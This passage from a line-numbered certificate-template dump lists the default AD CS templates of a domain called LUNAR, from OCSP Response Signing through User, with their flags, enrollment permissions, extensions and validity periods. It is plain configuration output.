  1691.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1693.     Allow Enroll    LUNAR\Domain Admins
  1694.     Allow Enroll    LUNAR\Enterprise Admins
  1695.     Allow Full Control    LUNAR\Domain Admins
  1696.     Allow Full Control    LUNAR\Enterprise Admins
  1697.     Allow Read    NT AUTHORITY\Authenticated Users
  1700.   TemplatePropExtensions =
  1701. 5 Extensions:
  1703.   Extension[0]:
  1704.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  1705.     Certificate Template Information
  1706.         Template=OCSP Response Signing(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.32)
  1707.         Major Version Number=101
  1708.         Minor Version Number=0
  1710.   Extension[1]:
  1711.     2.5.29.37: Flags = 0, Length = c
  1712.     Enhanced Key Usage
  1713.         OCSP Signing (1.3.6.1.5.5.7.3.9)
  1715.   Extension[2]:
  1716.     2.5.29.15: Flags = 1(Critical), Length = 4
  1717.     Key Usage
  1718.         Digital Signature (80)
  1720.   Extension[3]:
  1721.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = e
  1722.     Application Policies
  1723.         [1]Application Certificate Policy:
  1724.              Policy Identifier=OCSP Signing
  1726.   Extension[4]:
  1727.     1.3.6.1.5.5.7.48.1.5: Flags = 0, Length = 2
  1728.     OCSP No Revocation Checking
  1730.     0000  05 00                                              ..
  1731. 0000: 05 00                    ; NULL (0 Bytes)
  1733.   TemplatePropValidityPeriod = 2 Weeks
  1734.   TemplatePropRenewalPeriod = 2 Days
  1736.   Template[23]:
  1737.   TemplatePropCommonName = RASAndIASServer
  1738.   TemplatePropFriendlyName = RAS and IAS Server
  1739.   TemplatePropEKUs =
  1740. 2 ObjectIds:
  1741.     1.3.6.1.5.5.7.3.2 Client Authentication
  1742.     1.3.6.1.5.5.7.3.1 Server Authentication
  1744.   TemplatePropCryptoProviders =
  1745.     0: Microsoft RSA SChannel Cryptographic Provider
  1747.   TemplatePropMajorRevision = 65 (101)
  1748.   TemplatePropDescription = Computer
  1749.   TemplatePropSchemaVersion = 2
  1750.   TemplatePropMinorRevision = 0
  1751.   TemplatePropRASignatureCount = 0
  1752.   TemplatePropMinimumKeySize = 800 (2048)
  1753.   TemplatePropOID =
  1754.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.31 RAS and IAS Server
  1756.   TemplatePropV1ApplicationPolicy =
  1757. 2 ObjectIds:
  1758.     1.3.6.1.5.5.7.3.2 Client Authentication
  1759.     1.3.6.1.5.5.7.3.1 Server Authentication
  1761.   TemplatePropEnrollmentFlags = 20 (32)
  1762.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1764.   TemplatePropSubjectNameFlags = 48000000 (1207959552)
  1765.     CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
  1766.     CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME -- 40000000 (1073741824)
  1768.   TemplatePropPrivateKeyFlags = 0
  1769.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1770.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1771.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1773.   TemplatePropGeneralFlags = 10260 (66144)
  1774.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  1775.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1776.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1777.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1779.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;RS)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1781.     Allow Enroll    LUNAR\Domain Admins
  1782.     Allow Enroll    LUNAR\Enterprise Admins
  1783.     Allow Enroll    LUNAR\RAS and IAS Servers
  1784.     Allow Full Control    LUNAR\Domain Admins
  1785.     Allow Full Control    LUNAR\Enterprise Admins
  1786.     Allow Read    NT AUTHORITY\Authenticated Users
  1789.   TemplatePropExtensions =
  1790. 4 Extensions:
  1792.   Extension[0]:
  1793.     1.3.6.1.4.1.311.21.7: Flags = 0, Length = 2b
  1794.     Certificate Template Information
  1795.         Template=RAS and IAS Server(1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.31)
  1796.         Major Version Number=101
  1797.         Minor Version Number=0
  1799.   Extension[1]:
  1800.     2.5.29.37: Flags = 0, Length = 16
  1801.     Enhanced Key Usage
  1802.         Client Authentication (1.3.6.1.5.5.7.3.2)
  1803.         Server Authentication (1.3.6.1.5.5.7.3.1)
  1805.   Extension[2]:
  1806.     2.5.29.15: Flags = 1(Critical), Length = 4
  1807.     Key Usage
  1808.         Digital Signature, Key Encipherment (a0)
  1810.   Extension[3]:
  1811.     1.3.6.1.4.1.311.21.10: Flags = 0, Length = 1a
  1812.     Application Policies
  1813.         [1]Application Certificate Policy:
  1814.              Policy Identifier=Client Authentication
  1815.         [2]Application Certificate Policy:
  1816.              Policy Identifier=Server Authentication
  1818.   TemplatePropValidityPeriod = 1 Years
  1819.   TemplatePropRenewalPeriod = 6 Weeks
  1821.   Template[24]:
  1822.   TemplatePropCommonName = CA
  1823.   TemplatePropFriendlyName = Root Certification Authority
  1824.   TemplatePropCryptoProviders =
  1825.     0: Microsoft Enhanced Cryptographic Provider v1.0
  1827.   TemplatePropMajorRevision = 5
  1828.   TemplatePropDescription = Certification authority (CA)
  1829.   TemplatePropSchemaVersion = 1
  1830.   TemplatePropMinorRevision = 1
  1831.   TemplatePropRASignatureCount = 0
  1832.   TemplatePropMinimumKeySize = 800 (2048)
  1833.   TemplatePropOID =
  1834.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.17
  1836.   TemplatePropEnrollmentFlags = 0
  1838.   TemplatePropSubjectNameFlags = 1
  1839.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1841.   TemplatePropPrivateKeyFlags = 10 (16)
  1842.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  1843.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1844.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1845.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1847.   TemplatePropGeneralFlags = 100d1 (65745)
  1848.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1849.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  1850.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1851.     CT_FLAG_IS_CA -- 80 (128)
  1852.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1854.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1856.     Allow Enroll    LUNAR\Domain Admins
  1857.     Allow Enroll    LUNAR\Enterprise Admins
  1858.     Allow Full Control    LUNAR\Domain Admins
  1859.     Allow Full Control    LUNAR\Enterprise Admins
  1860.     Allow Read    NT AUTHORITY\Authenticated Users
  1863.   TemplatePropExtensions =
  1864. 3 Extensions:
  1866.   Extension[0]:
  1867.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 6
  1868.     Certificate Template Name (Certificate Type)
  1869.         CA
  1871.   Extension[1]:
  1872.     2.5.29.15: Flags = 1(Critical), Length = 4
  1873.     Key Usage
  1874.         Digital Signature, Certificate Signing, Off-line CRL Signing, CRL Signing (86)
  1876.   Extension[2]:
  1877.     2.5.29.19: Flags = 1(Critical), Length = 5
  1878.     Basic Constraints
  1879.         Subject Type=CA
  1880.         Path Length Constraint=None
  1882.   TemplatePropValidityPeriod = 5 Years
  1883.   TemplatePropRenewalPeriod = 6 Weeks
  1885.   Template[25]:
  1886.   TemplatePropCommonName = OfflineRouter
  1887.   TemplatePropFriendlyName = Router (Offline request)
  1888.   TemplatePropEKUs =
  1889. 1 ObjectIds:
  1890.     1.3.6.1.5.5.7.3.2 Client Authentication
  1892.   TemplatePropCryptoProviders =
  1893.     0: Microsoft RSA SChannel Cryptographic Provider
  1895.   TemplatePropMajorRevision = 4
  1896.   TemplatePropDescription = Computer
  1897.   TemplatePropSchemaVersion = 1
  1898.   TemplatePropMinorRevision = 1
  1899.   TemplatePropRASignatureCount = 0
  1900.   TemplatePropMinimumKeySize = 800 (2048)
  1901.   TemplatePropOID =
  1902.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.21
  1904.   TemplatePropEnrollmentFlags = 0
  1906.   TemplatePropSubjectNameFlags = 1
  1907.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1909.   TemplatePropPrivateKeyFlags = 0
  1910.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1911.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1912.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1914.   TemplatePropGeneralFlags = 10241 (66113)
  1915.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  1916.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  1917.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1918.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1920.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1922.     Allow Enroll    LUNAR\Domain Admins
  1923.     Allow Enroll    LUNAR\Enterprise Admins
  1924.     Allow Full Control    LUNAR\Domain Admins
  1925.     Allow Full Control    LUNAR\Enterprise Admins
  1926.     Allow Read    NT AUTHORITY\Authenticated Users
  1929.   TemplatePropExtensions =
  1930. 3 Extensions:
  1932.   Extension[0]:
  1933.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1c
  1934.     Certificate Template Name (Certificate Type)
  1935.         OfflineRouter
  1937.   Extension[1]:
  1938.     2.5.29.37: Flags = 0, Length = c
  1939.     Enhanced Key Usage
  1940.         Client Authentication (1.3.6.1.5.5.7.3.2)
  1942.   Extension[2]:
  1943.     2.5.29.15: Flags = 1(Critical), Length = 4
  1944.     Key Usage
  1945.         Digital Signature, Key Encipherment (a0)
  1947.   TemplatePropValidityPeriod = 2 Years
  1948.   TemplatePropRenewalPeriod = 6 Weeks
  1950.   Template[26]:
  1951.   TemplatePropCommonName = SmartcardLogon
  1952.   TemplatePropFriendlyName = Smartcard Logon
  1953.   TemplatePropEKUs =
  1954. 2 ObjectIds:
  1955.     1.3.6.1.5.5.7.3.2 Client Authentication
  1956.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  1958.   TemplatePropMajorRevision = 6
  1959.   TemplatePropDescription = User
  1960.   TemplatePropSchemaVersion = 1
  1961.   TemplatePropMinorRevision = 1
  1962.   TemplatePropRASignatureCount = 0
  1963.   TemplatePropMinimumKeySize = 800 (2048)
  1964.   TemplatePropOID =
  1965.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.5
  1967.   TemplatePropEnrollmentFlags = 0
  1969.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  1970.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  1971.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  1973.   TemplatePropPrivateKeyFlags = 0
  1974.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  1975.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  1976.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  1978.   TemplatePropGeneralFlags = 10200 (66048)
  1979.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  1980.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  1982.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  1984.     Allow Enroll    LUNAR\Domain Admins
  1985.     Allow Enroll    LUNAR\Enterprise Admins
  1986.     Allow Full Control    LUNAR\Domain Admins
  1987.     Allow Full Control    LUNAR\Enterprise Admins
  1988.     Allow Read    NT AUTHORITY\Authenticated Users
  1991.   TemplatePropExtensions =
  1992. 3 Extensions:
  1994.   Extension[0]:
  1995.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1e
  1996.     Certificate Template Name (Certificate Type)
  1997.         SmartcardLogon
  1999.   Extension[1]:
  2000.     2.5.29.37: Flags = 0, Length = 18
  2001.     Enhanced Key Usage
  2002.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2003.         Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  2005.   Extension[2]:
  2006.     2.5.29.15: Flags = 1(Critical), Length = 4
  2007.     Key Usage
  2008.         Digital Signature, Key Encipherment (a0)
  2010.   TemplatePropValidityPeriod = 1 Years
  2011.   TemplatePropRenewalPeriod = 6 Weeks
  2013.   Template[27]:
  2014.   TemplatePropCommonName = SmartcardUser
  2015.   TemplatePropFriendlyName = Smartcard User
  2016.   TemplatePropEKUs =
  2017. 3 ObjectIds:
  2018.     1.3.6.1.5.5.7.3.4 Secure Email
  2019.     1.3.6.1.5.5.7.3.2 Client Authentication
  2020.     1.3.6.1.4.1.311.20.2.2 Smart Card Logon
  2022.   TemplatePropMajorRevision = b (11)
  2023.   TemplatePropDescription = User
  2024.   TemplatePropSchemaVersion = 1
  2025.   TemplatePropMinorRevision = 1
  2026.   TemplatePropRASignatureCount = 0
  2027.   TemplatePropMinimumKeySize = 800 (2048)
  2028.   TemplatePropOID =
  2029.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.3
  2031.   TemplatePropEnrollmentFlags = 9
  2032.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  2033.     CT_FLAG_PUBLISH_TO_DS -- 8
  2035.   TemplatePropSubjectNameFlags = a6000000 (-1509949440)
  2036.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  2037.     CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)
  2038.     CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)
  2039.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  2041.   TemplatePropPrivateKeyFlags = 0
  2042.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2043.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2044.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2046.   TemplatePropGeneralFlags = 1020a (66058)
  2047.     CT_FLAG_ADD_EMAIL -- 2
  2048.     CT_FLAG_PUBLISH_TO_DS -- 8
  2049.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2050.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2052.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2054.     Allow Enroll    LUNAR\Domain Admins
  2055.     Allow Enroll    LUNAR\Enterprise Admins
  2056.     Allow Full Control    LUNAR\Domain Admins
  2057.     Allow Full Control    LUNAR\Enterprise Admins
  2058.     Allow Read    NT AUTHORITY\Authenticated Users
  2061.   TemplatePropExtensions =
  2062. 3 Extensions:
  2064.   Extension[0]:
  2065.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 1c
  2066.     Certificate Template Name (Certificate Type)
  2067.         SmartcardUser
  2069.   Extension[1]:
  2070.     2.5.29.37: Flags = 0, Length = 22
  2071.     Enhanced Key Usage
  2072.         Secure Email (1.3.6.1.5.5.7.3.4)
  2073.         Client Authentication (1.3.6.1.5.5.7.3.2)
  2074.         Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  2076.   Extension[2]:
  2077.     2.5.29.15: Flags = 1(Critical), Length = 4
  2078.     Key Usage
  2079.         Digital Signature, Key Encipherment (a0)
  2081.   TemplatePropValidityPeriod = 1 Years
  2082.   TemplatePropRenewalPeriod = 6 Weeks
  2084.   Template[28]:
  2085.   TemplatePropCommonName = SubCA
  2086.   TemplatePropFriendlyName = Subordinate Certification Authority
  2087.   TemplatePropCryptoProviders =
  2088.     0: Microsoft Enhanced Cryptographic Provider v1.0
  2090.   TemplatePropMajorRevision = 5
  2091.   TemplatePropDescription = Certification authority (CA)
  2092.   TemplatePropSchemaVersion = 1
  2093.   TemplatePropMinorRevision = 1
  2094.   TemplatePropRASignatureCount = 0
  2095.   TemplatePropMinimumKeySize = 800 (2048)
  2096.   TemplatePropOID =
  2097.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.18
  2099.   TemplatePropEnrollmentFlags = 0
  2101.   TemplatePropSubjectNameFlags = 1
  2102.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  2104.   TemplatePropPrivateKeyFlags = 10 (16)
  2105.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  2106.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2107.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2108.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2110.   TemplatePropGeneralFlags = 102d1 (66257)
  2111.     CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
  2112.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  2113.     CT_FLAG_MACHINE_TYPE -- 40 (64)
  2114.     CT_FLAG_IS_CA -- 80 (128)
  2115.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2116.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2118.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2120.     Allow Enroll    LUNAR\Domain Admins
  2121.     Allow Enroll    LUNAR\Enterprise Admins
  2122.     Allow Full Control    LUNAR\Domain Admins
  2123.     Allow Full Control    LUNAR\Enterprise Admins
  2124.     Allow Read    NT AUTHORITY\Authenticated Users
  2127.   TemplatePropExtensions =
  2128. 3 Extensions:
  2130.   Extension[0]:
  2131.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = c
  2132.     Certificate Template Name (Certificate Type)
  2133.         SubCA
  2135.   Extension[1]:
  2136.     2.5.29.15: Flags = 1(Critical), Length = 4
  2137.     Key Usage
  2138.         Digital Signature, Certificate Signing, Off-line CRL Signing, CRL Signing (86)
  2140.   Extension[2]:
  2141.     2.5.29.19: Flags = 1(Critical), Length = 5
  2142.     Basic Constraints
  2143.         Subject Type=CA
  2144.         Path Length Constraint=None
  2146.   TemplatePropValidityPeriod = 5 Years
  2147.   TemplatePropRenewalPeriod = 6 Weeks
  2149.   Template[29]:
  2150.   TemplatePropCommonName = CTLSigning
  2151.   TemplatePropFriendlyName = Trust List Signing
  2152.   TemplatePropEKUs =
  2153. 1 ObjectIds:
  2154.     1.3.6.1.4.1.311.10.3.1 Microsoft Trust List Signing
  2156.   TemplatePropCryptoProviders =
  2157.     0: Microsoft Enhanced Cryptographic Provider v1.0
  2158.     1: Microsoft Base Cryptographic Provider v1.0
  2159.     2: Microsoft Base DSS Cryptographic Provider
  2161.   TemplatePropMajorRevision = 3
  2162.   TemplatePropDescription = User
  2163.   TemplatePropSchemaVersion = 1
  2164.   TemplatePropMinorRevision = 1
  2165.   TemplatePropRASignatureCount = 0
  2166.   TemplatePropMinimumKeySize = 800 (2048)
  2167.   TemplatePropOID =
  2168.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.10
  2170.   TemplatePropEnrollmentFlags = 20 (32)
  2171.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2173.   TemplatePropSubjectNameFlags = 82000000 (-2113929216)
  2174.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  2175.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  2177.   TemplatePropPrivateKeyFlags = 0
  2178.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2179.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2180.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2182.   TemplatePropGeneralFlags = 10220 (66080)
  2183.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2184.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2185.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2187.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2189.     Allow Enroll    LUNAR\Domain Admins
  2190.     Allow Enroll    LUNAR\Enterprise Admins
  2191.     Allow Full Control    LUNAR\Domain Admins
  2192.     Allow Full Control    LUNAR\Enterprise Admins
  2193.     Allow Read    NT AUTHORITY\Authenticated Users
  2196.   TemplatePropExtensions =
  2197. 3 Extensions:
  2199.   Extension[0]:
  2200.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = 16
  2201.     Certificate Template Name (Certificate Type)
  2202.         CTLSigning
  2204.   Extension[1]:
  2205.     2.5.29.37: Flags = 0, Length = e
  2206.     Enhanced Key Usage
  2207.         Microsoft Trust List Signing (1.3.6.1.4.1.311.10.3.1)
  2209.   Extension[2]:
  2210.     2.5.29.15: Flags = 1(Critical), Length = 4
  2211.     Key Usage
  2212.         Digital Signature (80)
  2214.   TemplatePropValidityPeriod = 1 Years
  2215.   TemplatePropRenewalPeriod = 6 Weeks
  2217.   Template[30]:
  2218.   TemplatePropCommonName = User
  2219.   TemplatePropFriendlyName = User
  2220.   TemplatePropEKUs =
  2221. 3 ObjectIds:
  2222.     1.3.6.1.4.1.311.10.3.4 Encrypting File System
  2223.     1.3.6.1.5.5.7.3.4 Secure Email
  2224.     1.3.6.1.5.5.7.3.2 Client Authentication
  2226.   TemplatePropCryptoProviders =
  2227.     0: Microsoft Enhanced Cryptographic Provider v1.0
  2228.     1: Microsoft Base Cryptographic Provider v1.0
  2230.   TemplatePropMajorRevision = 3
  2231.   TemplatePropDescription = User
  2232.   TemplatePropSchemaVersion = 1
  2233.   TemplatePropMinorRevision = 1
  2234.   TemplatePropRASignatureCount = 0
  2235.   TemplatePropMinimumKeySize = 800 (2048)
  2236.   TemplatePropOID =
  2237.     1.3.6.1.4.1.311.21.8.13251815.15344444.12602244.3735211.11040971.202.1.1
  2239.   TemplatePropEnrollmentFlags = 29 (41)
  2240.     CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 1
  2241.     CT_FLAG_PUBLISH_TO_DS -- 8
  2242.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2244.   TemplatePropSubjectNameFlags = a6000000 (-1509949440)
  2245.     CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
  2246.     CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)
  2247.     CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)
  2248.     CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)
  2250.   TemplatePropPrivateKeyFlags = 10 (16)
  2251.     CTPRIVATEKEY_FLAG_EXPORTABLE_KEY -- 10 (16)
  2252.     CTPRIVATEKEY_FLAG_ATTEST_NONE -- 0
  2253.     TEMPLATE_SERVER_VER_NONE<<CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT -- 0
  2254.     TEMPLATE_CLIENT_VER_NONE<<CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT -- 0
  2256.   TemplatePropGeneralFlags = 1023a (66106)
  2257.     CT_FLAG_ADD_EMAIL -- 2
  2258.     CT_FLAG_PUBLISH_TO_DS -- 8
  2259.     CT_FLAG_EXPORTABLE_KEY -- 10 (16)
  2260.     CT_FLAG_AUTO_ENROLLMENT -- 20 (32)
  2261.     CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
  2262.     CT_FLAG_IS_DEFAULT -- 10000 (65536)
  2264.   TemplatePropSecurityDescriptor = O:S-1-5-21-3330634377-1326264276-632209373-519G:S-1-5-21-3330634377-1326264276-632209373-519D:PAI(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-21-3330634377-1326264276-632209373-519)(A;;LCRPLORC;;;AU)
  2266.     Allow Enroll    LUNAR\Domain Admins
  2267.     Allow Enroll    LUNAR\Domain Users
  2268.     Allow Enroll    LUNAR\Enterprise Admins
  2269.     Allow Full Control    LUNAR\Domain Admins
  2270.     Allow Full Control    LUNAR\Enterprise Admins
  2271.     Allow Read    NT AUTHORITY\Authenticated Users
  2274.   TemplatePropExtensions =
  2275. 3 Extensions:
  2277.   Extension[0]:
  2278.     1.3.6.1.4.1.311.20.2: Flags = 0, Length = a
